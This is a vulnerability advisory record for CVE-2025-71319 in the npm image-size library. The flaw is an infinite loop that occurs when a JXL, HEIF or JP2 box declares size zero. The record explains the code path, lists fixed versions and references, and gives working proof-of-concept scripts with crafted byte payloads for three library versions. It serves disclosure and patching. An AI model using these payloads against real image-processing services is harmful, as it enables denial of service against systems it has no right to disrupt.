{"id":"CVE-2025-71319","aliases":["GHSA-m5qc-5hw7-8vg7"],"url":"https://o3.security/vulnerability/CVE-2025-71319","summary":"image-size 2.0.2 Denial of Service via Infinite Loop in JXL/HEIF Parser","details":"### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n  const byte = input[0]\n  if (byte in firstBytes) {\n    const type = firstBytes[byte]\n    if (type && typeHandlers[type].validate(input)) {\n      return type\n    }\n  }\n\n  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--\n  return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `'JXL '`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n  validate: (input: Uint8Array): boolean => {\n    const boxType = toUTF8String(input, 4, 8)\n    if (boxType !== 'JXL ') return false      //<---\n\n    const ftypBox = findBox(input, 'ftyp', 0) //<---\n    if (!ftypBox) return false\n\n    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n    return brand === 'jxl '\n  },\n```\n\n`findBox` can lead to an infinite loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =>\n  input[offset] * 2 ** 24 +     // 0 +\n  input[offset + 1] * 2 ** 16 + // 0 +\n  input[offset + 2] * 2 ** 8 +  // 0 +\n  input[offset + 3]             // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) {   // offset: 0\n  if (input.length - offset < 4) return\n  const boxSize = readUInt32BE(input, offset)           // 0\n  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false\n  return {\n    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '\n    offset,                                             // 0\n    size: boxSize,                                      // 0\n  }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0\n  while (offset < input.length) {         // 0 < 8 => false\n    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }\n    if (!box) break                       // false\n    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false\n    offset += box.size                    // offset += 0\n  }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `image-size@2.0.1`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i image-size@2.0.1\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n//   0x61, 0x76, 0x69, 0x66  // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x6A, 0x50, 0x20, 0x20, // \"jP  \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n  (async () => {\n    await imageSizeFromFile(FILENAME)\n    console.log('Done') // never executed\n  })();\n}\n\nfunction poc2() {\n  imageSize(PAYLOAD)\n  console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n  createPayload()\n  const args = process.argv.slice(2);\n  const t = args[0];\n  const poc = pocs.get(t) || poc1;\n  console.log(`Running poc....`)\n  await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.2.0`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i image-size@1.2.0\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n//   0x61, 0x76, 0x69, 0x66  // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x6A, 0x50, 0x20, 0x20, // \"jP  \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n  sizeOf(FILENAME)\n  console.log('Done') // never executed\n}\n\nfunction poc2() {\n  sizeOf(PAYLOAD)\n  console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n  createPayload()\n  const args = process.argv.slice(2);\n  const t = args[0];\n  const poc = pocs.get(t) || poc1;\n  console.log(`Running poc....`)\n  await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.1.1`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i image-size@1.1.1\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n  0x61, 0x76, 0x69, 0x66  // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n  sizeOf(FILENAME)\n  console.log('Done') // never executed\n}\n\nfunction poc2() {\n  sizeOf(PAYLOAD)\n  console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n  createPayload()\n  const args = process.argv.slice(2);\n  const t = args[0];\n  const poc = pocs.get(t) || poc1;\n  console.log(`Running poc....`)\n  await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service","published":"2026-06-09T19:57:16.125Z","modified":"2026-09-04T03:31:01.409475748Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"image-size","fixedVersion":"1.2.1"},{"ecosystem":"npm","name":"image-size","fixedVersion":"2.0.2"}],"fix":{"url":"https://web.archive.org/web/20260224152152/https://github.com/image-size/image-size/pull/439","label":"image-size/image-size#439"},"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-71319.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:33313"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:37272"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2025-71319"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71319.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71319"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/image-size-denial-of-service-via-infinite-loop-in-jxl-heif-parser"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487296"},{"type":"REPORT","url":"https://web.archive.org/web/20260224152152/https://github.com/image-size/image-size/pull/439"},{"type":"PACKAGE","url":"https://github.com/image-size/image-size"},{"type":"EVIDENCE","url":"https://joshua.hu/image-size-infinite-loop-dos-vulnerabilities"},{"type":"WEB","url":"https://github.com/image-size/image-size/security/advisories/GHSA-m5qc-5hw7-8vg7"},{"type":"WEB","url":"https://github.com/image-size/image-size/commit/8994131c7c3ee8da1699e04700c95e0e683a0c68"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-04T03:31:01.409475748Z"}}